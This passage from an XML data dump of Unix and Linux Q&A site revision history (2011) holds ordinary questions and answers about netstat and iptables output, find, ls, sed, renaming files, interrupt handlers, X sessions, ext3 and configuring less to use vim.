LISTEN      3582/python         &#xD;&#xA;tcp        0      0 :::22                       :::*                        LISTEN      3595/sshd           &#xD;&#xA;udp        0      0 0.0.0.0:68                  0.0.0.0:*                               3278/dhclient       &#xD;&#xA;udp        0      0 0.0.0.0:605                 0.0.0.0:*                               3397/rpc.statd      &#xD;&#xA;udp        0      0 0.0.0.0:608                 0.0.0.0:*                               3397/rpc.statd      &#xD;&#xA;udp        0      0 0.0.0.0:5353                0.0.0.0:*                               3729/avahi-daemon:  &#xD;&#xA;udp        0      0 0.0.0.0:111                 0.0.0.0:*                               3365/portmap        &#xD;&#xA;udp        0      0 0.0.0.0:57333               0.0.0.0:*                               3729/avahi-daemon:  &#xD;&#xA;udp        0      0 0.0.0.0:631                 0.0.0.0:*                               3020/cupsd          &#xD;&#xA;udp        0      0 192.168.201.90:123          0.0.0.0:*                               3611/ntpd           &#xD;&#xA;udp        0      0 127.0.0.1:123               0.0.0.0:*                               3611/ntpd           &#xD;&#xA;udp        0      0 0.0.0.0:123                 0.0.0.0:*                               3611/ntpd           &#xD;&#xA;udp        0      0 :::5353                     :::*                                    3729/avahi-daemon:  &#xD;&#xA;udp        0      0 :::52217                    :::*                                    3729/avahi-daemon:  &#xD;&#xA;udp        0      0 fe80::20c:29ff:fe66:123     :::*                                    3611/ntpd           &#xD;&#xA;udp        0      0 ::1:123                     :::*                                    3611/ntpd           &#xD;&#xA;udp        0      0 :::123                      :::*                                    3611/ntpd   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And here is the output of `iptables -L -n`:&#xD;&#xA;&#xD;&#xA;&gt;Chain INPUT (policy ACCEPT)&#xD;&#xA;target     prot opt source               destination         &#xD;&#xA;&#xD;&#xA;&gt;Chain FORWARD (policy ACCEPT)&#xD;&#xA;target     prot opt source               destination         &#xD;&#xA;&#xD;&#xA;&gt;Chain OUTPUT (policy ACCEPT)&#xD;&#xA;target     prot opt source               destination  " />
  <row Id="16589" PostHistoryTypeId="1" PostId="7166" RevisionGUID="10437c5c-5ee8-409d-9e4f-1ac7e28c7404" CreationDate="2011-02-09T17:28:47.727" UserId="4627" Text="How can I open port 21 on a Linux VM?" />
  <row Id="16590" PostHistoryTypeId="3" PostId="7166" RevisionGUID="10437c5c-5ee8-409d-9e4f-1ac7e28c7404" CreationDate="2011-02-09T17:28:47.727" UserId="4627" Text="élinuxàéftpàéfirewallàécentosàéportöforwardingà" />
  <row Id="16591" PostHistoryTypeId="17" PostId="7166" RevisionGUID="22e721fa-bd55-4426-aee7-cff196c30a0f" CreationDate="2011-02-09T19:32:31.103" UserId="-1" Comment="from http://superuser.com/questions/243672/how-can-i-open-port-21-on-a-linux-vm" Text="" />
  <row Id="16592" PostHistoryTypeId="2" PostId="7168" RevisionGUID="80dccf91-0726-4504-a497-c5617973805e" CreationDate="2011-02-09T19:35:52.377" UserId="73" Text="`ls` doesn't control scrolling through the terminal output, your terminal does; by the time you're doing that `ls` has already terminated. Your terminal probably supports a hotkey to handle it; &lt;kbd&gt;Page Up&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Page Up&lt;/kbd&gt; are common choices" />
  <row Id="16593" PostHistoryTypeId="2" PostId="7169" RevisionGUID="2bb81c4a-2273-46dc-a45d-e7411e1b9ba1" CreationDate="2011-02-09T20:00:32.153" UserId="4633" Text="List all files/dirs in or below the current directory that match 'filename'." />
  <row Id="16594" PostHistoryTypeId="1" PostId="7169" RevisionGUID="2bb81c4a-2273-46dc-a45d-e7411e1b9ba1" CreationDate="2011-02-09T20:00:32.153" UserId="4633" Text="What is the Linux equivalent of DOS &quot;dir /s /b filename&quot;?" />
  <row Id="16595" PostHistoryTypeId="3" PostId="7169" RevisionGUID="2bb81c4a-2273-46dc-a45d-e7411e1b9ba1" CreationDate="2011-02-09T20:00:32.153" UserId="4633" Text="élsà" />
  <row Id="16596" PostHistoryTypeId="2" PostId="7170" RevisionGUID="bd373003-d2f7-47dc-a6ff-8c231ad699c1" CreationDate="2011-02-09T20:03:35.133" UserId="4634" Text="You can do this with&#xD;&#xA;&#xD;&#xA;    find . | egrep filename" />
  <row Id="16599" PostHistoryTypeId="2" PostId="7172" RevisionGUID="eadb6549-eb51-4c88-b4fc-89cd280562b2" CreationDate="2011-02-09T20:06:25.447" UserId="3069" Text="The Linux kernel is reentrant (like all UNIX ones), which simply means that multiple processes can be executed by the CPU. He doesn't have to wait till a disk access read is handled by the deadly slow HDD controller, the CPU can process some other stuff until the disk access is finished (which itself will trigger an interrupt if so).&#xD;&#xA;&#xD;&#xA;Generally, an interrupt can be interrupted by an other interrupt (preemption), that's called 'Nested Execution'. Depending on the architecture, there are still some critical functions which have to run without interruption (non-preemptive) by completely disabling interrupts. On x86, these are some time relevant functions (`time.c`, `hpet.c`) and some `xen` stuff. &#xD;&#xA;&#xD;&#xA;There are only two priority levels concerning interrupts: 'enable all interrupts' or 'disable all interrupts', so I guess your &quot;high priority interrupt&quot; is the second one. This is the only behavior the Linux kernel knows concerning interrupt priorities and has nothing to do with real-time extensions.&#xD;&#xA;&#xD;&#xA;If an interruptible interrupt (your &quot;low priority interrupt&quot;) gets interrupted by an other interrupt (&quot;high&quot; or &quot;low&quot;), the kernel saves the old execution code of the interrupted interrupt and starts to process the new interrupt. This &quot;nesting&quot; can happen multiple times and thus can create multiple levels of interrupted interrupts. Afterwards, the kernel reloads the saved code from the old interrupt and tries to finish the old one." />
  <row Id="16600" PostHistoryTypeId="25" PostId="7169" RevisionGUID="b6271ac8-4cad-4a80-9b2f-c69ffcb6cb3e" CreationDate="2011-02-09T20:22:29.920" Comment="http://twitter.com/#!/StackUnix/status/35433376072736768" />
  <row Id="16601" PostHistoryTypeId="5" PostId="7124" RevisionGUID="bd140f64-0c83-4f76-a3a7-6a14dd119b70" CreationDate="2011-02-09T20:32:36.183" UserId="73" Comment="deleted 13 characters in body" Text="I was reading &quot;Linux device drivers, 3rd edition&quot; and don't completely&#xD;&#xA;understand a part describing interrupt handlers. I would like to clarify:&#xD;&#xA;&#xD;&#xA;- are the interrupt handlers in Linux nonpreemptible?&#xD;&#xA;- are the interrupt handlers in Linux non-reentrant?&#xD;&#xA;&#xD;&#xA;I believe I understand the model of Top/Bottom halves quite well, and&#xD;&#xA;according to it the interrupts are disabled for as long as the TopHalf&#xD;&#xA;is being executed, thus the handler can't be re-entered, am I right?&#xD;&#xA;&#xD;&#xA;But what about high priority interrupts? Are they supported by vanilla Linux or&#xD;&#xA;specific real-time extensions only? What happens if a low priority interrupt&#xD;&#xA;is interrupted by high priority one?&#xD;&#xA;" />
  <row Id="16602" PostHistoryTypeId="2" PostId="7173" RevisionGUID="cd4bab6e-1530-430e-a84c-0f854fbc36cb" CreationDate="2011-02-09T20:33:56.540" UserId="3169" Text="    find . -name &lt;filename&gt;&#xD;&#xA;&#xD;&#xA;is the direct equivalent.&#xD;&#xA;&#xD;&#xA;In DOS, `&lt;filename&gt;` is only a wildcard pattern, not a regular expression." />
  <row Id="16603" PostHistoryTypeId="2" PostId="7174" RevisionGUID="7ccfcaf1-7a63-4a93-96f8-5442236bd11b" CreationDate="2011-02-09T20:40:25.423" UserId="3169" Text="Try removing `/opt/j2sdk/bin` and `/usr/local/testing/jdk1.6.0_23/bin` from your `PATH`.&#xD;&#xA;&#xD;&#xA;When you ran `alternatives --config`, it should have changed `/usr/bin/java` to point to the 1.6.0 version.&#xD;&#xA;&#xD;&#xA;If you add them to `PATH` and are using `alternatives`, you will have two places to configure things, and it will get confusing." />
  <row Id="16604" PostHistoryTypeId="2" PostId="7175" RevisionGUID="f9d5144b-024b-456a-a385-97372b47e170" CreationDate="2011-02-09T20:50:09.307" UserId="3169" Text="It's easier to learn than Vi, faster to start than Emacs, and more powerful than Pico/Nano (e.g. it has ctags support for programming).&#xD;&#xA;&#xD;&#xA;But it's unlikely to be installed everywhere, so you should still know the basics of Vi and Emacs." />
  <row Id="16606" PostHistoryTypeId="2" PostId="7177" RevisionGUID="90e9bd2d-cc51-4aa6-bda6-5ce92d28e170" CreationDate="2011-02-09T21:00:58.773" UserId="3169" Text="I don't think `ls -G` does spacing any differently than `ls`.&#xD;&#xA;&#xD;&#xA;The width depends on how long the file names are in each directory.&#xD;&#xA;&#xD;&#xA;Try running `/bin/ls` and `/bin/ls -G` in the same directory, and you should notice the spacing is the same.&#xD;&#xA;&#xD;&#xA;Then change to a different directory and try it again.&#xD;&#xA;&#xD;&#xA;The other possibility is that you are seeing the difference between columns (`-C`) and across (`-x`) mode.&#xD;&#xA;&#xD;&#xA;Try running `ls -C` and `ls -x` and see which one you prefer.&#xD;&#xA;&#xD;&#xA;Then make it an alias.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16607" PostHistoryTypeId="5" PostId="7130" RevisionGUID="10167655-6de8-4459-afff-6c0128f07fe2" CreationDate="2011-02-09T21:45:30.723" UserId="3519" Comment="added 88 characters in body" Text="Try:&#xD;&#xA;&#xD;&#xA;    sed -e '/^a1$/,+1d' &quot;filename&quot;&#xD;&#xA;&#xD;&#xA;This means from /^a1$/ to the next line, delete&#xD;&#xA;&#xD;&#xA;The ^ and $ ensure you match the whole line, so a hidden a1 will not be matched." />
  <row Id="16608" PostHistoryTypeId="5" PostId="7132" RevisionGUID="1978fa43-7011-4cd9-9222-aad994c10e3d" CreationDate="2011-02-09T21:59:51.257" UserId="3519" Comment="added 11 characters in body" Text="Nonpreemptible means that those handlers cannot be interrupted by another interrupt.&#xD;&#xA;&#xD;&#xA;For non-preemtible handlers, reentrance is a non issue since you cannot interrupt them in the first place.&#xD;&#xA;&#xD;&#xA;As to what the kernel does, just check wag's answer, I can't comment like he does on this topic." />
  <row Id="16609" PostHistoryTypeId="2" PostId="7178" RevisionGUID="e73edb94-31bf-480c-bc01-52e7169237d2" CreationDate="2011-02-09T22:18:21.793" UserId="4619" Text="You want `ls -C --color=yes | less -R`. `-C` forces `ls` into multi-column mode even when it's being piped, `--color=yes` forces `ls` to always output in color, even when being piped, and the `-R` argument to `less` forces it to interpret raw terminal escape codes." />
  <row Id="16610" PostHistoryTypeId="6" PostId="7124" RevisionGUID="d0bf1b73-8c01-4f9c-8800-62f9a308246e" CreationDate="2011-02-09T22:22:09.490" UserId="885" Comment="edited tags" Text="élinuxàékernelàéinterruptà" />
  <row Id="16611" PostHistoryTypeId="6" PostId="7138" RevisionGUID="2b39972a-a800-4262-860f-94ffe2398dc7" CreationDate="2011-02-09T22:22:31.593" UserId="885" Comment="edited tags" Text="élinuxàékernelàéinterruptà" />
  <row Id="16612" PostHistoryTypeId="5" PostId="7178" RevisionGUID="e3e15883-103e-419e-a976-dc62a0c96c5f" CreationDate="2011-02-09T22:24:37.887" UserId="4619" Comment="added 122 characters in body; added 21 characters in body" Text="You want `ls -C --color=yes | less -R`. `-C` forces `ls` into multi-column mode even when it's being piped, `--color=yes` forces `ls` to always output in color, even when being piped, and the `-R` argument to `less` forces it to interpret raw terminal escape codes.&#xD;&#xA;&#xD;&#xA;In the general case, you might also consider GNU Screen if your terminal isn't configured to support hotkeys like Michael Mrozek mentioned." />
  <row Id="16613" PostHistoryTypeId="2" PostId="7179" RevisionGUID="4b7f79c8-cec7-4d05-8169-a062c7378761" CreationDate="2011-02-09T22:32:24.940" UserId="885" Text="Using sed here introduces more complexity than it's worth. Use the shell's built-in text manipulation features. For example, `${name#assignment02}` strips the prefix `assignment02` from `$name`.&#xD;&#xA;&#xD;&#xA;    for name in assignment02.*; do&#xD;&#xA;      mv &quot;$name&quot; &quot;assignment03${name#assignment02}&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;The double quotes are not necessary if you are sure the file names contain no shell special characters.&#xD;&#xA;&#xD;&#xA;If you have zsh available, its `zmv` function is helpful for these kinds of renamings.&#xD;&#xA;&#xD;&#xA;    autoload zmv&#xD;&#xA;    zmv '(assignment)02.(*)' '${1}03.$2'&#xD;&#xA;" />
  <row Id="16614" PostHistoryTypeId="6" PostId="7147" RevisionGUID="1549f569-9c48-4ee0-9dbc-cad25d5044a8" CreationDate="2011-02-09T22:33:39.307" UserId="885" Comment="edited tags" Text="édebianàénetworkingàéethernetàénetworkmanageràéacpià" />
  <row Id="16615" PostHistoryTypeId="6" PostId="7156" RevisionGUID="14066848-7525-4080-a387-151507fbc957" CreationDate="2011-02-09T22:33:51.867" UserId="885" Comment="edited tags" Text="élsà" />
  <row Id="16616" PostHistoryTypeId="6" PostId="7152" RevisionGUID="91d78f3e-235e-46c1-a395-4ef7dffb1d32" CreationDate="2011-02-09T22:34:44.017" UserId="885" Comment="edited tags" Text="égnomeàéwallpaperàéworkspacesà" />
  <row Id="16617" PostHistoryTypeId="6" PostId="7126" RevisionGUID="5520f643-01a8-49e6-9029-35ecfba8832e" CreationDate="2011-02-09T22:39:33.467" UserId="885" Comment="edited tags" Text="égrepàétextöprocessingàésedà" />
  <row Id="16618" PostHistoryTypeId="6" PostId="6927" RevisionGUID="cd8fdcad-641f-411a-88ab-ccb6e93e07d2" CreationDate="2011-02-09T22:42:06.070" UserId="885" Comment="edited tags" Text="élinuxàésataàéscsià" />
  <row Id="16619" PostHistoryTypeId="6" PostId="7051" RevisionGUID="64f7a33c-90bc-4257-bb0a-c2730cac6b82" CreationDate="2011-02-09T22:49:54.287" UserId="885" Comment="edited tags" Text="élinuxàéusbàémountàéusbödriveà" />
  <row Id="16620" PostHistoryTypeId="2" PostId="7180" RevisionGUID="4f6f9fdc-4f9b-4501-926a-ac644f97b6af" CreationDate="2011-02-09T22:58:58.350" UserId="885" Text="[Debian and derivatives have hard/medium/soft dependencies](http://unix.stackexchange.com/questions/6996/differentiating-between-hard-and-soft-dependencies/6997#6997), but that doesn't solve your problem.&#xD;&#xA;&#xD;&#xA;[APT](http://en.wikipedia.org/wiki/Advanced_Packaging_Tool), the Debian equivalent of Yum, distinguishes between *manually installed* and *automatically installed* packages, which solves your problem (automatically installed packages are removed if no manually installed package depends on them). I don't know if this feature has been ported to Yum.&#xD;&#xA;" />
  <row Id="16621" PostHistoryTypeId="6" PostId="7056" RevisionGUID="1b534578-dbc5-4fe0-aa28-ac4ac00ece4d" CreationDate="2011-02-09T23:01:12.233" UserId="885" Comment="edited tags" Text="éfileömanagementàérmà" />
  <row Id="16622" PostHistoryTypeId="25" PostId="7159" RevisionGUID="c75ecc0a-ad0c-48fc-b51c-2bd8f4ce55cc" CreationDate="2011-02-09T23:22:34.633" Comment="http://twitter.com/#!/StackUnix/status/35478692008431616" />
  <row Id="16623" PostHistoryTypeId="2" PostId="7181" RevisionGUID="df9c6a28-a468-420d-8eeb-ef9cb660ad1d" CreationDate="2011-02-09T23:24:33.590" UserId="4639" Text="0 down vote favorite&#xD;&#xA;	&#xD;&#xA;&#xD;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;I went to a CentOS terminal, and someone was logged in doing work. I hit Ctrl+alt+f2 to try to get to my own session so I could check something. When I hit Ctrl+alt+f1 to get back, X did not come back up and gave a bunch of error messages.&#xD;&#xA;&#xD;&#xA;Is this a bug? Did that other user just lose all the work they had running? It seems like if I had to kill all X and do a startx again, he would lose anything running in the terminals and other GUI apps, right?&#xD;&#xA;" />
  <row Id="16624" PostHistoryTypeId="1" PostId="7181" RevisionGUID="df9c6a28-a468-420d-8eeb-ef9cb660ad1d" CreationDate="2011-02-09T23:24:33.590" UserId="4639" Text="restarting X in centos 5" />
  <row Id="16625" PostHistoryTypeId="3" PostId="7181" RevisionGUID="df9c6a28-a468-420d-8eeb-ef9cb660ad1d" CreationDate="2011-02-09T23:24:33.590" UserId="4639" Text="élinuxàéwindowömanageràéxtermà" />
  <row Id="16626" PostHistoryTypeId="5" PostId="7181" RevisionGUID="66b41930-d61e-4176-b7b5-b9e1a57e633b" CreationDate="2011-02-09T23:33:14.920" UserId="73" Comment="added 33 characters in body; edited title" Text="I went to a CentOS terminal, and someone was logged in doing work. I hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt; to try to get to my own session so I could check something. When I hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt; to get back, X did not come back up and gave a bunch of error messages.&#xD;&#xA;&#xD;&#xA;Is this a bug? Did that other user just lose all the work they had running? It seems like if I had to kill all X and do a `startx` again, he would lose everything running in the terminals and other GUI apps, right?&#xD;&#xA;" />
  <row Id="16627" PostHistoryTypeId="4" PostId="7181" RevisionGUID="66b41930-d61e-4176-b7b5-b9e1a57e633b" CreationDate="2011-02-09T23:33:14.920" UserId="73" Comment="added 33 characters in body; edited title" Text="Restarting X in CentOS 5" />
  <row Id="16628" PostHistoryTypeId="2" PostId="7182" RevisionGUID="c5f3bf6b-5990-45d9-a055-d9a6c9ce9ed0" CreationDate="2011-02-09T23:38:20.530" UserId="73" Text="I admittedly know nothing about CentOS, but usually &lt;kbd&gt;F1&lt;/kbd&gt; through &lt;kbd&gt;F6&lt;/kbd&gt; are reserved for TTYs; X sessions don't start until &lt;kbd&gt;F7&lt;/kbd&gt;. Hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt; should get you back to the first X session" />
  <row Id="16629" PostHistoryTypeId="2" PostId="7183" RevisionGUID="1475bc3b-acac-4fe6-8b35-55804de70b7b" CreationDate="2011-02-10T00:06:03.607" UserId="4358" Text="Youre already thinking too complex&#xD;&#xA;&#xD;&#xA;    rename 02 03 *02*&#xD;&#xA;&#xD;&#xA;'rename' replaces the first arg ('02') with the second arg ('03') in the name of all files given on arg3 or after (\*02\*)" />
  <row Id="16630" PostHistoryTypeId="6" PostId="7181" RevisionGUID="3a0b0228-bb2a-4923-bd87-05dc51336652" CreationDate="2011-02-10T00:07:52.813" UserId="885" Comment="edited tags" Text="élinuxàéterminalàéxöserverà" />
  <row Id="16631" PostHistoryTypeId="6" PostId="7164" RevisionGUID="6827b992-48de-49f8-b962-651781823b6e" CreationDate="2011-02-10T00:09:17.743" UserId="885" Comment="edited tags" Text="éterminalàélsà" />
  <row Id="16632" PostHistoryTypeId="6" PostId="7161" RevisionGUID="e4b8a172-c1e0-4f3b-b187-8b951b815427" CreationDate="2011-02-10T00:09:43.017" UserId="885" Comment="edited tags" Text="éshellöscriptàésedàéfileömanagementàérenameà" />
  <row Id="16633" PostHistoryTypeId="6" PostId="6953" RevisionGUID="1501610b-10fa-4614-89b2-8e715b470e30" CreationDate="2011-02-10T01:03:05.793" UserId="885" Comment="edited tags" Text="édisköusageàéext3à" />
  <row Id="16634" PostHistoryTypeId="6" PostId="5002" RevisionGUID="33f6c515-48aa-429f-bc17-c9d360a6e1b4" CreationDate="2011-02-10T01:31:31.907" UserId="298" Comment="edited tags" Text="écommandölineàégnomeà" />
  <row Id="16638" PostHistoryTypeId="5" PostId="6953" RevisionGUID="b9b1b055-9651-44df-9911-49de50d9dfd1" CreationDate="2011-02-10T01:35:00.480" UserId="298" Comment="change abbreviations to full word for clarity, added quotes around 'free blocks' as it's part of the output. " Text="As you see in this dumpe2fs -h output (snipped the end, left the head in case something is important), I have more (about 86000 more, in fact) 'Free blocks' than are reserved, but I get a &quot;no space on device&quot; error even for a little tiny file (echoing something into a file for testing).&#xD;&#xA;&#xD;&#xA;Color me stumped.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;dumpe2fs 1.41.12 (17-May-2010)&#xD;&#xA;Filesystem volume name:   &lt;none&gt;&#xD;&#xA;Last mounted on:          &lt;not available&gt;&#xD;&#xA;Filesystem UUID:          b7d8fde6-faa4-4c13-b310-32f302cc6db6&#xD;&#xA;Filesystem magic number:  0xEF53&#xD;&#xA;Filesystem revision #:    1 (dynamic)&#xD;&#xA;Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file&#xD;&#xA;Filesystem flags:         signed_directory_hash&#xD;&#xA;Default mount options:    (none)&#xD;&#xA;Filesystem state:         clean&#xD;&#xA;Errors behavior:          Continue&#xD;&#xA;Filesystem OS type:       Linux&#xD;&#xA;Inode count:              9707520&#xD;&#xA;Block count:              38808000&#xD;&#xA;Reserved block count:     1940400&#xD;&#xA;Free blocks:              2026361&#xD;&#xA;Free inodes:              9583170&#xD;&#xA;First block:              0&#xD;&#xA;Block size:               4096&#xD;&#xA;Fragment size:            4096&#xD;&#xA;Reserved GDT blocks:      1014&#xD;&#xA;Blocks per group:         32768&#xD;&#xA;Fragments per group:      32768&#xD;&#xA;Inodes per group:         8192&#xD;&#xA;Inode blocks per group:   512&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="16639" PostHistoryTypeId="24" PostId="6953" RevisionGUID="afde06b8-130d-46f6-b9fe-5019bd585344" CreationDate="2011-02-10T01:35:00.480" Comment="Proposed by 298 approved by 29 edit id of 23" />
  <row Id="16640" PostHistoryTypeId="25" PostId="7181" RevisionGUID="d7291cca-1153-4530-9804-d09c95153e4d" CreationDate="2011-02-10T02:22:34.783" Comment="http://twitter.com/#!/StackUnix/status/35523993389768704" />
  <row Id="16645" PostHistoryTypeId="2" PostId="7185" RevisionGUID="d0c2fcd1-5fc1-45ec-bfb5-f45d79bc78c2" CreationDate="2011-02-10T03:42:02.637" UserId="2180" Text="Some shells allow `ls **/filename`, which is quite convenient." />
  <row Id="16646" PostHistoryTypeId="5" PostId="7173" RevisionGUID="72954d57-da13-4244-9072-c46871efbee9" CreationDate="2011-02-10T04:31:55.047" UserId="3169" Comment="mention that quotes are required around wildcards; added 1 characters in body; added 214 characters in body" Text="    find . -name &lt;filename&gt;&#xD;&#xA;&#xD;&#xA;is the direct equivalent.&#xD;&#xA;&#xD;&#xA;If you only want to list files called `&lt;filename&gt;`, and not directories, do this:&#xD;&#xA;&#xD;&#xA;    find . -name &lt;filename&gt; -type f&#xD;&#xA;&#xD;&#xA;If you want to use wildcards, you need to put quotes around it, e.g.&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.txt&quot;&#xD;&#xA;&#xD;&#xA;otherwise the shell will expand it.&#xD;&#xA;&#xD;&#xA;As others have pointed out, you can also do:&#xD;&#xA;&#xD;&#xA;    find . | grep &quot;\.txt$&quot;&#xD;&#xA;&#xD;&#xA;`grep` will print lines based on regular expressions, which are more powerful that wildcards, but have a different syntax.&#xD;&#xA;&#xD;&#xA;See `man find` and `man grep` for more details." />
  <row Id="16647" PostHistoryTypeId="5" PostId="7173" RevisionGUID="1e65502d-2763-47e1-b2e0-c4a856f91a83" CreationDate="2011-02-10T04:37:04.833" UserId="3169" Comment="deleted 1 characters in body" Text="The direct equivalent is&#xD;&#xA;&#xD;&#xA;    find . -name &lt;filename&gt;&#xD;&#xA;&#xD;&#xA;If you only want to list files called `&lt;filename&gt;`, and not directories, do this:&#xD;&#xA;&#xD;&#xA;    find . -name &lt;filename&gt; -type f&#xD;&#xA;&#xD;&#xA;If you want to use wildcards, you need to put quotes around it, e.g.&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.txt&quot;&#xD;&#xA;&#xD;&#xA;otherwise the shell will expand it.&#xD;&#xA;&#xD;&#xA;As others have pointed out, you can also do:&#xD;&#xA;&#xD;&#xA;    find . | grep &quot;\.txt$&quot;&#xD;&#xA;&#xD;&#xA;`grep` will print lines based on regular expressions, which are more powerful that wildcards, but have a different syntax.&#xD;&#xA;&#xD;&#xA;See `man find` and `man grep` for more details." />
  <row Id="16648" PostHistoryTypeId="5" PostId="7173" RevisionGUID="2720cf68-f2ea-4cf5-8c06-785df9dc6464" CreationDate="2011-02-10T04:42:27.977" UserId="3169" Comment="edited body" Text="The direct equivalent is&#xD;&#xA;&#xD;&#xA;    find . -name &lt;filename&gt;&#xD;&#xA;&#xD;&#xA;If you only want to list files called `&lt;filename&gt;`, and not directories, do this:&#xD;&#xA;&#xD;&#xA;    find . -name &lt;filename&gt; -type f&#xD;&#xA;&#xD;&#xA;If you want to use wildcards, you need to put quotes around it, e.g.&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.txt&quot;&#xD;&#xA;&#xD;&#xA;otherwise the shell will expand it.&#xD;&#xA;&#xD;&#xA;As others have pointed out, you can also do:&#xD;&#xA;&#xD;&#xA;    find . | grep &quot;\.txt$&quot;&#xD;&#xA;&#xD;&#xA;`grep` will print lines based on regular expressions, which are more powerful than wildcards, but have a different syntax.&#xD;&#xA;&#xD;&#xA;See `man find` and `man grep` for more details." />
  <row Id="16649" PostHistoryTypeId="2" PostId="7186" RevisionGUID="410fabb2-acf4-470a-8eaa-691363d5d021" CreationDate="2011-02-10T05:02:35.590" UserId="446" Text="I want to launch `vim` instead of the  default `vi` editor when I hit &lt;kbd&gt;v&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Are there any settings I can modify to allow me to do this?" />
  <row Id="16650" PostHistoryTypeId="1" PostId="7186" RevisionGUID="410fabb2-acf4-470a-8eaa-691363d5d021" CreationDate="2011-02-10T05:02:35.590" UserId="446" Text="Can less invoke vim instead of the default vi when I hit the 'v' key?" />
  <row Id="16651" PostHistoryTypeId="3" PostId="7186" RevisionGUID="410fabb2-acf4-470a-8eaa-691363d5d021" CreationDate="2011-02-10T05:02:35.590" UserId="446" Text="évimàéviàélessàébindingsà" />
  <row Id="16652" PostHistoryTypeId="2" PostId="7187" RevisionGUID="778b6481-ac76-430b-b6df-01a46118be2e" CreationDate="2011-02-10T05:08:53.887" UserId="4520" Text="SMTP servers usually don't check the SSL certificates when connecting, but do use them to encrypt the channel.  This makes them easy to configure with self-signed certificates, or certificates from a private authority.  (Self-signed certificates are equivalent to ssh certificates.)  I use tinyCA to create my own certificate authority.  You can use key sizes up to 4096.  You should use a size of at least 2048.  &#xD;&#xA;&#xD;&#xA;MUAs (Mail User Agents: Firefox, Outlook, etc) work well with self signed certificates.  You do need to accect them the first time.  I suggest using the submission port with startTLS and authentication.  This will give you a secure authenticated channel.  &#xD;&#xA;&#xD;&#xA;I use Dovecot IMAP with startTLS using self-signed certificates for reading email.  Using IMAP gives extra options like using a WebMail interface in addition to the one or more clients.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16653" PostHistoryTypeId="2" PostId="7188" RevisionGUID="424332a5-196e-4311-b180-3be9d5078df4" CreationDate="2011-02-10T05:20:07.173" UserId="1779" Text="From `man less`,&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;v      Invokes  an  editor  to edit the current file being viewed.  The&#xD;&#xA;       editor is taken from the environment variable VISUAL if defined,&#xD;&#xA;       or  EDITOR if VISUAL is not defined, or defaults to &quot;vi&quot; if nei‐&#xD;&#xA;       ther VISUAL nor EDITOR is defined.  See also the  discussion  of&#xD;&#xA;       LESSEDIT under the section on PROMPTS below.&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Simply set standard `EDITOR` environment variable according to your wishes, e.g. `export EDITOR=vim` in `~/.bashrc` or something like that." />
  <row Id="16654" PostHistoryTypeId="25" PostId="7186" RevisionGUID="bb6e5f7c-5d0e-4575-b073-0fe4ce934d14" CreationDate="2011-02-10T05:22:34.643" Comment="http://twitter.com/#!/StackUnix/status/35569291566784513" />
  <row Id="16655" PostHistoryTypeId="2" PostId="7189" RevisionGUID="8e373224-2708-4d38-b9be-5d83f57cba41" CreationDate="2011-02-10T08:04:05.800" UserId="4646" Text="Perhaps this works:&#xD;&#xA;&#xD;&#xA;    uvcdynctrl -s Focus,\ Auto 0&#xD;&#xA;" />
  <row Id="16656" PostHistoryTypeId="25" PostId="7164" RevisionGUID="113ac3fb-5124-4890-822f-d9f9455d3028" CreationDate="2011-02-10T08:22:34.630" Comment="http://twitter.com/#!/StackUnix/status/35614590070947841" />
  <row Id="16657" PostHistoryTypeId="2" PostId="7190" RevisionGUID="5540620f-497a-42c0-b92a-ab80f116156d" CreationDate="2011-02-10T08:47:45.560" UserId="4485" Text="A different approach: &#xD;&#xA;&#xD;&#xA;    for ext in {cc,h,txt}&#xD;&#xA;    do &#xD;&#xA;      echo mv assignment02.$ext assignment03.$ext&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;In the long run: Try to get 'rename'" />
  <row Id="16658" PostHistoryTypeId="2" PostId="7191" RevisionGUID="69f2a481-4977-4af6-9c69-d55cc79c9030" CreationDate="2011-02-10T09:24:41.037" UserId="4485" Text="Shawn J. Goff made a lot of god points, but I guess here is missing a bit for the whole story: &#xD;&#xA;&gt; Ubuntu actually doesn't use the bash shell, but a very similar one called dash. Scripts that require bash may work slightly wrong when called by doing /bin/sh script because you've just called a bash script using the dash interpreter.&#xD;&#xA;&#xD;&#xA;A lot of system scripts (like in init.d, in /etc and so on) have a shebang #!/bin/sh , but /bin/sh is in fact a symbolic link to another shell - in former times /bin/bash, nowadays /bin/dash. But when one of them is invoked as /bin/sh, they behave differently, i.e. they stick to POSIX-compatibility-mode. &#xD;&#xA;&#xD;&#xA;How do they do this? Well, they inspect how they were invoked. &#xD;&#xA;&#xD;&#xA;Can a shellscript itself test how it was invoked, and do different things, depending on that? Yes, it can. So the way you invoke it can allways lead to different results, but of cause it is seldom done to annoy you. :) &#xD;&#xA;&#xD;&#xA;As a rule of thumb: If you're learning a specific shell like bash, and write commands from a bash tutorial, put #!/bin/bash in the headline, not #!/bin/sh , except where otherwise noted. Else your commands might fail.&#xD;&#xA;And if you haven't written a script yourself, invoke it directly (./foo.sh, bar/foo.sh) instead of guessing a shell (sh foo.sh, sh bar/foo.sh). The shebang should invoke the right shell. &#xD;&#xA;&#xD;&#xA;And here are two other kinds of invokation: 